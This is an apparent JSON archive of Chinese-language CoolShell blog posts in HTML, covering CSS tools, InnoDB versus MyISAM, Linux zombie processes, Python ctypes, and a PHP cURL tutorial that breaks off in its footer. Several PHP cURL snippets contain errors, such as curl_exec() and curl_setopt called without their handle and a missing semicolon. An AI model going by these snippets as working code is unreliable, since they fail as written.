#9e0b0e;\">表单站点生成器</span></a></h4>\n<h4><a href=\"http://www.formsite.com/\"><span style=\"color: #9e0b0e;\"><img alt=\"formsite\" class=\"alignnone size-full wp-image-100\" height=\"300\" src=\"../wp-content/uploads/2009/02/formsite.gif\" width=\"550\"/></span></a></h4>\n<h4>19. <a href=\"http://www.formlogix.com/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">Form logix </span></a></h4>\n<p><a href=\"http://www.formlogix.com/\"><span style=\"color: #9e0b0e;\"><img alt=\"form-logix\" class=\"alignnone size-full wp-image-101\" height=\"300\" src=\"../wp-content/uploads/2009/02/form-logix.gif\" width=\"550\"/></span></a></p>\n<h4>20. <a href=\"http://www.highdots.com/css-tab-designer/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">免费的CSS tab 页设计者</span></a></h4>\n<p>CSS Tab 页设计者是一个独特和容易的软件帮助你设计你的CSS TAB页，完全可视化的设计，不需要任何的CSS或编程的知识。</p>\n<h4><a href=\"http://www.highdots.com/css-tab-designer/\"><img alt=\"tabgenerator\" class=\"alignnone size-full wp-image-102\" height=\"300\" src=\"../wp-content/uploads/2009/02/tabgenerator.gif\" width=\"550\"/></a></h4>\n<h4>21. Just style</h4>\n<p>JustStyle CSS 编辑器是一个有完整功能的，易用的软件，其可以非常容易的设计CSS风格。</p>\n<p><a href=\"http://ucware.com/juststyle/index.htm\"><img alt=\"just-style\" class=\"alignnone size-full wp-image-103\" height=\"300\" src=\"../wp-content/uploads/2009/02/just-style.gif\" width=\"550\"/></a></p>\n<h4>22. <a href=\"http://www.andrewsellick.com/examples/tabslideV2/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">滑动式Tab页</span></a></h4>\n<h4><a href=\"http://www.andrewsellick.com/examples/tabslideV2/\"><img alt=\"sliding-tab\" class=\"alignnone size-full wp-image-104\" height=\"300\" src=\"../wp-content/uploads/2009/02/sliding-tab.gif\" width=\"550\"/></a></h4>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6913.html\"><img alt=\"神奇的CSS形状 \" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6913.html\">神奇的CSS形状 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5164.html\"><img alt=\"CSS图形\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5164.html\">CSS图形</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/648.html\">22个不错的CSS技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-24 MySQL InnoDB 还是 MyISAM_.html",
    "content": "<html><body><p>MyISAM 是MySQL中默认的存储引擎，一般来说不是有太多人关心这个东西。决定使用什么样的存储引擎是一个很tricky的事情，但是还是值我们去研究一下，这里的文章只考虑 MyISAM 和InnoDB这两个，因为这两个是最常见的。</p>\n<p>下面先让我们回答一些问题：</p>\n<ul>\n<li>你的数据库有外键吗？</li>\n<li>你需要事务支持吗？</li>\n<li>你需要全文索引吗？</li>\n<li>你经常使用什么样的查询模式？</li>\n<li>你的数据有多大？</li>\n</ul>\n<p><span id=\"more-652\"></span></p>\n<p>思考上面这些问题可以让你找到合适的方向，但那并不是绝对的。如果你需要事务处理或是外键，那么InnoDB 可能是比较好的方式。如果你需要全文索引，那么通常来说 MyISAM是好的选择，因为这是系统内建的，然而，我们其实并不会经常地去测试两百万行记录。所以，就算是慢一点，我们可以通过使用Sphinx从InnoDB中获得全文索引。</p>\n<p>数据的大小，是一个影响你选择什么样存储引擎的重要因素，大尺寸的数据集趋向于选择InnoDB方式，因为其支持事务处理和故障恢复。数据库的在小决定了故障恢复的时间长短，InnoDB可以利用事务日志进行数据恢复，这会比较快。而MyISAM可能会需要几个小时甚至几天来干这些事，InnoDB只需要几分钟。</p>\n<p>您操作数据库表的习惯可能也会是一个对性能影响很大的因素。比如： COUNT() 在 MyISAM 表中会非常快，而在InnoDB 表下可能会很痛苦。而主键查询则在InnoDB下会相当相当的快，但需要小心的是如果我们的主键太长了也会导致性能问题。大批的inserts 语句在MyISAM下会快一些，但是updates 在InnoDB 下会更快一些——尤其在并发量大的时候。</p>\n<p>所以，到底你检使用哪一个呢？根据经验来看，如果是一些小型的应用或项目，那么MyISAM 也许会更适合。当然，在大型的环境下使用MyISAM 也会有很大成功的时候，但却不总是这样的。如果你正在计划使用一个超大数据量的项目，而且需要事务处理或外键支持，那么你真的应该直接使用InnoDB方式。但需要记住InnoDB 的表需要更多的内存和存储，转换100GB 的MyISAM 表到InnoDB 表可能会让你有非常坏的体验。</p>\n<p style=\"display: none;\"><img alt=\"\" height=\"0\" src=\"http://blog.inetu.net/wp-content/plugins/wp-spamfree/img/wpsf-img.php\" style=\"display: none; width: 0px; height: 0px; border-style: none;\" width=\"0\"/></p>\n<p style=\"display: none;\">文章：<a href=\"http://blog.inetu.net/2009/04/mysql-innodb-or-myisam/\" target=\"_blank\">来源</a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1846.html\"><img alt=\"MySQL性能优化的最佳20+条经验\" height=\"150\" src=\"../wp-content/uploads/2009/11/unoptimized_explain-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1846.html\">MySQL性能优化的最佳20+条经验</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7270.html\"><img alt=\"NoSQL 数据建模技术\" height=\"150\" src=\"../wp-content/uploads/2012/05/overview2-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7270.html\">NoSQL 数据建模技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5826.html\"><img alt=\"千万别用MongoDB？真的吗？！\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5826.html\">千万别用MongoDB？真的吗？！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/652.html\">MySQL: InnoDB 还是 MyISAM?</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-25 Linux 的僵尸(zombie)进程.html",
    "content": "<html><body><p>可能很少有人意识到，在一个进程调用了exit之后，该进程 并非马上就消失掉，而是留下一个称为僵尸进程（Zombie）的数据结构。在Linux进程的5种状态中，僵尸进程是非常特殊的一种，它已经放弃了几乎所 有内存空间，没有任何可执行代码，也不能被调度，仅仅在进程列表中保留一个位置，记载该进程的退出状态等信息供其他进程收集，除此之外，僵尸进程不再占有 任何内存空间。</p>\n<p>僵尸进程的来由，要追溯到Unix，Unix的设计者们设计这个东西并非是因为闲来无事想装装酷什么的。上面说到，僵尸进程中保存着很多对程序员和系统管理员非常重要的信息，首先，这个进程是怎么死亡的？是正常退出呢，还是出现了错误，还是被其它进程强迫退出的？也就是说，这个程序的退出码是什么？其次，这个进程占用的总系统CPU时间和总用户CPU时间分别是多少？发生页错误的数目和收到信号的数目。这些信息都被存储在僵尸进程中，试想如果没有僵尸进程，进程执行多长我们并不知道，一旦其退出，所有与之相关的信息都立刻都从系统中清除，而如果此时父进程或系统管理员需要用到，就只好干瞪眼了。</p>\n<p><span id=\"more-656\"></span></p>\n<p>所以，进程退出后，系统会把该进程的状态变成Zombie，然后给上一定的时间等着父进程来收集其退出信息，因为可能父进程正忙于别的事情来不及收集，所以，使用Zombie状态表示进程退出了，正在等待父进程收集信息中。</p>\n<p>Zombie进程不可以用kill命令清楚，因为进程已退出，如果需要清除这样的进程，那么需要清除其父进程，或是等很长的时间后被内核清除。因为Zombie的进程还占着个进程ID号呢，这样的进程如果很多的话，不利于系统的进程调度。</p>\n<p>下面，让我们来看看一个示例：</p>\n<pre class=\"EnlighterJSRAW\">\n/* zombie.c */\n#include &lt;sys/types.h&gt;\n#include &lt;unistd.h&gt;  main()\n{\n    pid_t pid; \n    pid=fork();\n    if(pid&lt;0) { /* 如果出错 */ \n        printf(\"error occurred!\\n\");\n    }else if(pid==0){ /* 如果是子进程 */ \n        exit(0);\n    }else{  /* 如果是父进程 */ \n        sleep(60);  /* 休眠60秒 */ \n        wait(NULL); /* 收集僵尸进程 */\n    }\n}\n\n</pre>\n<p>编译这个程序：</p>\n<p><code class=\"EnlighterJSRAW\">$ cc zombie.c -o zombie</code></p>\n<p>后台运行程序，以使我们能够执行下一条命令</p>\n<pre class=\"EnlighterJSRAW\">\n$ ./zombie &amp;\n[1] 1217\n</pre>\n<p>列一下系统内的进程</p>\n<pre class=\"EnlighterJSRAW\">\n$ ps -ax\n... ...\n1137   pts/0   S   0:00   -bash\n1217   pts/0   S   0:00   ./zombie\n1218   pts/0   Z   0:00   [zombie]\n1578   pts/0   R   0:00   ps   -ax\n</pre>\n<p>其中的”Z”就是僵尸进程的标志，它表示1218号进程现在就是一个僵尸进程。</p>\n<p>收集Zombie进程的信息，并终结这些僵尸进程，需要我们在父进程中使用waitpid调用和wait调用。这两者的作用都是收集僵尸进程留下的信息，同时使这个进程彻底消失。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/656.html\">Linux 的僵尸(zombie)进程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-25 Python调用C语言函数.html",
    "content": "<html><body><p>使用Python的<a href=\"http://docs.python.org/library/ctypes.html\">ctypes</a>，我们可以直接调用由C直接编译出来的函数。其实就是调用动态链接库中的函数。为什么我们需要这样做呢，因为有些时候，我们可能需要一个性能上比较讲究的算法，有些时候，我们可以在Python中使用已经有了的现成的被封闭在动态链接库中的函数。下面是如何调用的示例。</p>\n<p>首先，我们用一个乘法来表示一个算法功能。下面是C的程序：</p>\n<pre class=\"EnlighterJSRAW\">int\nmultiply(int num1, int num2)\n{\n    return num1 * num2;\n}\n</pre>\n<p><span id=\"more-671\"></span></p>\n<p>如果在Windows下，你可能需要写成下面这个样子：</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;windows.h&gt;\n\n\nBOOL APIENTRY\nDllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)\n{\n    return TRUE;\n}\n\n__declspec(dllexport) int\nmultiply(int num1, int num2)\n{\n    return num1 * num2;\n}\n</pre>\n<p>然后，自然是把这个C文件编成动态链接库：</p>\n<p>Linux下的编译：</p>\n<pre class=\"EnlighterJSRAW\">\ngcc -c -fPIC libtest.c\ngcc -shared libtest.o -o libtest.so\n</pre>\n<p>Windows下的编译：</p>\n<pre class=\"EnlighterJSRAW\">\ncl -LD libtest.c -libtest.dll\n</pre>\n<p>于是在我们的Python中可以这样使用：<br/>\n(其中的libtest.so在Windows下改成libtest.dll即可)</p>\n<pre class=\"EnlighterJSRAW\">\n&gt;&gt;&gt; from ctypes import *\n&gt;&gt;&gt; import os\n&gt;&gt;&gt; libtest = cdll.LoadLibrary(os.getcwd() + '/libtest.so')\n&gt;&gt;&gt; print libtest.multiply(2, 2)\n4\n</pre>\n<p>注意：上面的Python脚本中需要把动态链接库放到当前目录中。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/671.html\">Python调用C语言函数</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-25 使用PHP的cURL库.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/phpinfo_curl.png\"></a>使用PHP的cURL库可以简单和有效地去抓网页。你只需要运行一个脚本，然后分析一下你所抓取的网页，然后就可以以程序的方式得到你想要的数据了。无论是你想从从一个链接上取部分数据，或是取一个XML文件并把其导入数据库，那怕就是简单的获取网页内容，cURL 是一个功能强大的PHP库。本文主要讲述如果使用这个PHP库。</p>\n<p><strong> 启用 cURL 设置</strong><br/>\n首先，我们得先要确定我们的PHP是否开启了这个库，你可以通过使用php_info()函数来得到这一信息。</p>\n<pre class=\"EnlighterJSRAW\">&lt;?php\n    phpinfo();\n?&gt;</pre>\n<p><span id=\"more-664\"></span></p>\n<p> </p>\n<p>如果你可以在网页上看到下面的输出，那么表示cURL库已被开启。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/phpinfo_curl.png\"><img alt=\"phpinfo_curl\" height=\"91\" src=\"../wp-content/uploads/2009/04/phpinfo_curl.png\" title=\"phpinfo_curl\" width=\"498\"/></a></p>\n<p>如果你看到的话，那么你需要设置你的PHP并开启这个库。如果你是在Windows平台下，那么非常简单，你需要改一改你的php.ini文件的设置，找到php_curl.dll，并取消前面的分号注释就行了。如下所示：</p>\n<pre class=\"EnlighterJSRAW\">\n\n//取消下在的注释\nextension=php_curl.dll \n</pre>\n<p>如果你是在Linux下面，那么，你需要重新编译你的PHP了，编辑时，你需要打开编译参数——在configure命令上加上“–with-curl” 参数。</p>\n<p><strong>一个小示例</strong><br/>\n如果一切就绪，下面是一个小例程：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;?php\n// 初始化一个 cURL 对象\n$curl = curl_init(); \n\n// 设置你需要抓取的URL\ncurl_setopt($curl, CURLOPT_URL, 'https://coolshell.cn');\n\n// 设置header\ncurl_setopt($curl, CURLOPT_HEADER, 1);\n\n// 设置cURL 参数，要求结果保存到字符串中还是输出到屏幕上。\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n\n// 运行cURL，请求网页\n$data = curl_exec($curl);\n\n// 关闭URL请求\ncurl_close($curl);\n\n// 显示获得的数据\nvar_dump($data);\n</pre>\n<p> </p>\n<p><strong>如何POST数据</strong></p>\n<p>上面是抓取网页的代码，下面则是向某个网页POST数据。假设我们有一个处理表单的网址<a href=\"http://www.example.com/sendSMS.php\">http://www.example.com/sendSMS.php</a>，其可以接受两个表单域，一个是电话号码，一个是短信内容。</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;?php\n    $phoneNumber = '13912345678';\n    $message = 'This message was generated by curl and php';\n    $curlPost = 'pNUMBER='  . urlencode($phoneNumber) . '&amp;MESSAGE=' . urlencode($message) . '&amp;SUBMIT=Send';\n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/sendSMS.php');\n    curl_setopt($ch, CURLOPT_HEADER, 1);\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    curl_setopt($ch, CURLOPT_POST, 1);\n    curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);\n    $data = curl_exec();\n    curl_close($ch);\n?&gt;\n</pre>\n<p> 从上面的程序我们可以看到，使用CURLOPT_POST设置HTTP协议的POST方法，而不是GET方法，然后以CURLOPT_POSTFIELDS设置POST的数据。</p>\n<p><strong>关于代理服务器</strong></p>\n<pre>下面是一个如何使用代理服务器的示例。请注意其中高亮的代码，代码很简单，我就不用多说了。</pre>\n<pre class=\"EnlighterJSRAW\">\n&lt;?php \n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, 'http://www.example.com');\n    curl_setopt($ch, CURLOPT_HEADER, 1);\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1);\n    curl_setopt($ch, CURLOPT_PROXY, 'fakeproxy.com:1080');\n    curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'user:password');\n    $data = curl_exec();\n    curl_close($ch);\n?&gt;\n\n</pre>\n<p> <strong>关于SSL和Cookie</strong></p>\n<p>关于SSL也就是HTTPS协议，你只需要把CURLOPT_URL连接中的http://变成https://就可以了。当然，还有一个参数叫CURLOPT_SSL_VERIFYHOST可以设置为验证站点。</p>\n<p>关于Cookie，你需要了解下面三个参数：</p>\n<ul>\n<li>CURLOPT_COOKIE，在当面的会话中设置一个cookie</li>\n<li>CURLOPT_COOKIEJAR，当会话结束的时候保存一个Cookie</li>\n<li>CURLOPT_COOKIEFILE，Cookie的文件。</li>\n</ul>\n<p><strong>HTTP服务器认证</strong></p>\n<p>最后，我们来看一看HTTP服务器认证的情况。</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;?php \n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, 'http://www.example.com');\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\n    curl_setopt(CURLOPT_USERPWD, '[username]:[password]')\n\n    $data = curl_exec();\n    curl_close($ch);\n?&gt;\n</pre>\n<p>关于其它更多的内容，请大家参看相关的cURL手册吧。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5160.html\"><img alt=\"PHP分页技术的代码和示例\" height=\"150\" src=\"../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5160.html\">PHP分页技术的代码和示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a 